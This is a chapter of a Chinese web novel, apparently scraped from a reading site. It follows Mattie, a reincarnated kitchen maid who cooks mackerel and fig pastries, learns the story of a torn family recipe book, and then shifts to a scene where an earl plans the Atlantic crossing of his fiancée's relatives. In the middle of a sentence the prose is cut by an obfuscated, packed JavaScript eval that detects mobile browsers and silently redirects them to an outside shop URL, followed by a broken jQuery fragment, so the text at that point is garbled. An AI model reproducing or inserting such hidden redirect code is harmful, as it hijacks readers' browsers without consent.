厨房又开始忙碌起来。
今晚梅布尔太太实在分身乏术，玛蒂如愿获得了一个单独负责甜点的机会。
她正准备绕过长桌，去架子上取装油的陶罐，却被菲奥娜从侧面挡住了去路。
菲奥娜怀里挟着一条新鲜的鲭鱼，正焦急地朝梅布尔太太问道：
“梅布尔太太，鲭鱼要用哪种方法煎？那个薄荷和茴香的搭配我没见过……”
茴香薄荷鲭鱼这道菜玛蒂倒是听说过，做法她也略知一二。
但她迟疑了一瞬，终究没开口插话。
梅布尔太太正在灶台旁挥舞着铲子，锅里咝咝作响，她一手夹着锅盖，一手拿勺飞快搅拌浓汤，动作又快又稳，像一位在战场上指挥全军进攻的老将军。
听完菲奥娜的询问后，她抽空转身，从墙角的高橱柜里小心取出一本封面有些老旧的食谱：
“照着这本食谱上的方法去做，有问题再来找我。”
玛蒂的视线不由自主地被那本食谱吸引——封皮是淡褐色的羊皮纸，边角微微翘起，翻页处带着被油烟熏染过的暗痕，显然已经用了不少年头。只是它并不完整，书脊在中段戛然而止，断口处只留下了毛糙的纤维和稀疏的线孔，应该称呼它为“半本食谱”更为合适。
就在这时，菲奥娜注意到了玛蒂的目光。
她抱着食谱，有些不好意思地看向玛蒂：
“你这次要做的点心是油炸无花果馅饼吧？我记得它的制作过程挺复杂的……你是不是也想查一下食谱？要不我们一起做吧，省得过会你我来回抢食谱。”
玛蒂愣了下。
其实她原本是打算独自完成甜品的，但眼下菲奥娜误会了她的举动，并主动伸出橄榄枝，这倒是个拉近关系的好机会，于是她便点头同意了菲奥娜合作的建议。
根据上菜的顺序，两人先按照食谱一起制作“茴香薄荷鲭鱼”。
菲奥娜在一旁利索地处理鲭鱼，去鳞、开膛、冲洗，玛蒂则按照食谱一一准备配料：一束薄荷叶，切碎，六根茴香茎，切碎，接着是两盎司烤面包屑、三茶匙盐……
食谱上的字迹都是手写，有些地方很潦草，玛蒂需要仔细辨认才能看出来具体的内容。
“调味料要拌匀后塞进鱼肚子里。”
玛蒂念着食谱，小心地将这些材料混合后塞进鱼腹，转头她就见菲奥娜正在鱼身两面刷上融化的黄油，放入炉中翻面烘烤。
等待鲭鱼烤好的过程中，两人一同投入到油炸无花果馅饼的制作中。
这次菲奥娜负责揉制发酵的馅饼皮，而玛蒂继续操心那些精细的调料：1磅无花果干，半茶匙红花丝，1/4 茶匙盐，1/4 茶匙姜粉，1/4 茶匙丁香粉……
“一大撮胡椒粉？”
玛蒂手顿住了。
她皱起眉，盯着食谱上的字。
“一大撮”到底是多少？是拇指食指并起的一撮，还是五指抓一把？
刚才她还在心里夸这本食谱写得详细，没想到转头就来了一句模棱两可的指示。
对胡椒粉的分量没谱，她只好跑去请教梅布尔太太。
“这道菜里的胡椒粉份量确实是不固定的，多少取决于客人是不是喜欢吃辣。”
梅布尔太太回道，“我记得亨利男爵的夫人不太能吃辣，所以这道菜不宜太辣，两指捏一小撮就行。”
得到准确指示后，玛蒂回到案台前，迅速调整了调料比例，将胡椒粉撒入无花果馅中，混合均匀。
接着，她开始将发酵好的馅饼皮包入馅料，再一一压紧封口。
锅中热油已冒起细密气泡，菲奥娜小心地将馅饼下锅，高温煎炸至金黄色。
最后两人一起将馅饼捞出放到厨房餐纸上吸去油脂，淋上热蜂蜜。
两道菜最终顺利出炉，鱼香扑鼻，馅饼炸得外酥内软，梅布尔太太在最后试菜时满意地点了头，对两人的实操能力表示肯定。
菜上完后，玛蒂吃过晚饭，将厨房收拾干净后便回到了自己的房间。
她刚坐下没一会儿，门口就传来了多莉压低的嘀咕声。
“我今天又和艾琳分到一组了。”
多莉进门就一脸嫌弃，“我这次让她切菜，她倒是切了，结果你猜怎么着？她切得跟狗啃似的，切出来的每片都不一样大，有的薄得透光，有的厚得能当门板。我都不敢拿去下锅！而且速度还慢得要命，汤都滚了她还在切第一块土豆！”
玛蒂闻言露出同情的表情。
她其实很理解多莉的心情。
这种情况就像小组作业分组分到了个混子，你明知道她不靠谱，又不能撵她走。还得担心她的任务拉低整体得分，只能咬牙把她那份也做了，最后做出来的菜别人吃得开心，功劳归团队，苦活累活却都落你头上。
“只希望以后别再跟她一组了。”
多莉嘟哝着坐下，把围裙甩到椅背上。
“谁不是呢。”
玛蒂点头附和了一句，然后话题一转，问道：
“对了多莉，你今天有注意到梅布尔太太那本食谱吗？怎么看起来像是从中间被撕开过的？”
多莉刚和玛蒂狠狠吐槽完艾琳，这会气也出了不少，心情缓和了些，听她一问，想了想答道：
“这事我也是听我妈…听别人说的，真假不敢保证。好像是说，梅布尔太太的母亲去世前，把一本祖传食谱分成了两半，一人留了一份给她们姐妹俩，当作各自谋生的依靠。”多莉说着耸耸肩，“可谁能想到，最后两人竟然都跑到同一个庄园里工作了。”
多莉继续道：“梅布尔太太终身未婚，但她姐姐却有个女儿。所以她这几天总是在念叨着，等哪天能抽出空回趟家，就把姐姐的那半本食谱与她的拼在一起，重新变成一本完整的食谱传承下去。”
听完多莉的解释，玛蒂一下子就懂了。
她心里泛起一阵说不清的感触。梅布尔太太的母亲大概是怕自己去世后，姐妹俩为了这本食谱闹出嫌隙，才把东西一分为二，这样每人一半，谁也不算吃亏，各自都有能靠着吃饭的手艺。
更重要的是，这份不完整的食谱又在她们彼此身上留下了牵挂，就算日后性子再不合，也总还有一件事能让姐妹两愿意坐下来好好说话，彼此留一点余地，也留一条将来互相照应的退路。
而从多莉话里话外的语气判断，梅布尔太太和她姐姐的感情应该一直不错。
玛蒂心里隐隐升起一点羡慕。
上辈子她因为执意要学厨和父母闹掰了，还没来得及缓和关系就猝死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717537|208543||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
穿越了。
这辈子的开局更是父母双亡，也没有可以互相扶持的兄弟姐妹。
不过好在还有好心的姑妈一家愿意收留她，让她有地方落脚，有人挂念。
这份依靠虽不完美，却已经足够让人心安。
想到这，玛蒂走下床，就着烛光在纸上写了一封信。
她先问候了姑妈她们最近的情况，也简单交代了自己的近况。
信写完后，玛蒂将它叠好压在枕边，准备清晨托人寄出。
随后她转头吹灭了蜡烛，带着对回信的期盼安然入睡。
***
夜已深，庄园大多数房间早已熄灯，唯有书房依旧灯火通明。
年轻的伯爵坐在书桌后的扶手椅上，对面则坐着身着军服的布莱顿上校。
两人之间摊着一张航海路线图，图上利物浦、南安普敦、纽约与波士顿被红色记号笔圈了起来。
“如果我收到的消息属实，”罗瑟恩伯爵皱眉道：“有人在美国暗中对德莱尼家族不利。老德莱尼年事已高，力不从心，难以应对局势，这才决定将海伦娜的弟弟一并送来英国长期居住。”
“不过若真有人心怀不轨，届时也可能会选择在海上动手，这样最容易掩人耳目。”
布莱顿上校顺着他的话，在图上一划，指尖停在一个港口的位置说道：
“这是纽约最大的港口，大部分前往欧洲的跨洋客轮都会从这儿出发。当然，也有可能从霍博肯那边的码头登船，但以德莱尼家族的身份和体面，他们十有八九会选择主航线的大船。”
他指了指英国南岸继续道：“靠岸几率最大的是南安普敦，利物浦作为备用也有可能。”
罗瑟恩伯爵点头：“老德莱尼会安排自己信得过的人护送他们过来。但我不想完全依赖对岸。我希望我这边也能提前安排好接应的人，万一出了意外，也能迅速应对。”
布莱顿上校眯起眼，看向好友：“怪不得你突然请我来你们家吃饭。想当年你还在军队时，军官晚会上多开一瓶啤酒都要写报告申请报销。现在倒好，不但请我吃大餐，还舍得开你父亲珍藏多年的皇家威士忌，真叫我这老战友受宠若惊啊。”
“少来这套，”罗瑟恩伯爵轻咳一声，“我这不是为你回国接风吗？说正事——这忙你到底帮不帮？”
布莱顿上校耸了耸肩，端起高脚杯抿了一口威士忌：
“以咱俩在军队的交情，这点忙我还能不帮？不过你得告诉我他们的出发时间，好让我提前安排人手。”
“应该要等到来年开春。”罗瑟恩伯爵答道，“老德莱尼年纪大了，想让孙女孙子留下来陪他过完圣诞节。”
“明白了。”
两人沉默了片刻，布莱顿上校随手拿起桌上的一块黄油饼干，边嚼边笑着问：
“话说回来，罗瑟恩家族你这一支的‘晚婚诅咒’传得沸沸扬扬的，到底是真的假的……”
“吃你的饼干吧。”罗瑟恩伯爵不等好友说完就斜睨他一眼，语气凉凉道：“问太多小心传染给你。”
“我才不怕。”布莱顿上校哈哈一笑，“我夫人都怀孕了，不像某人，未婚妻还在遥远的大西洋对岸，连婚礼请帖都不知何年能发。”
罗瑟恩伯爵：“……”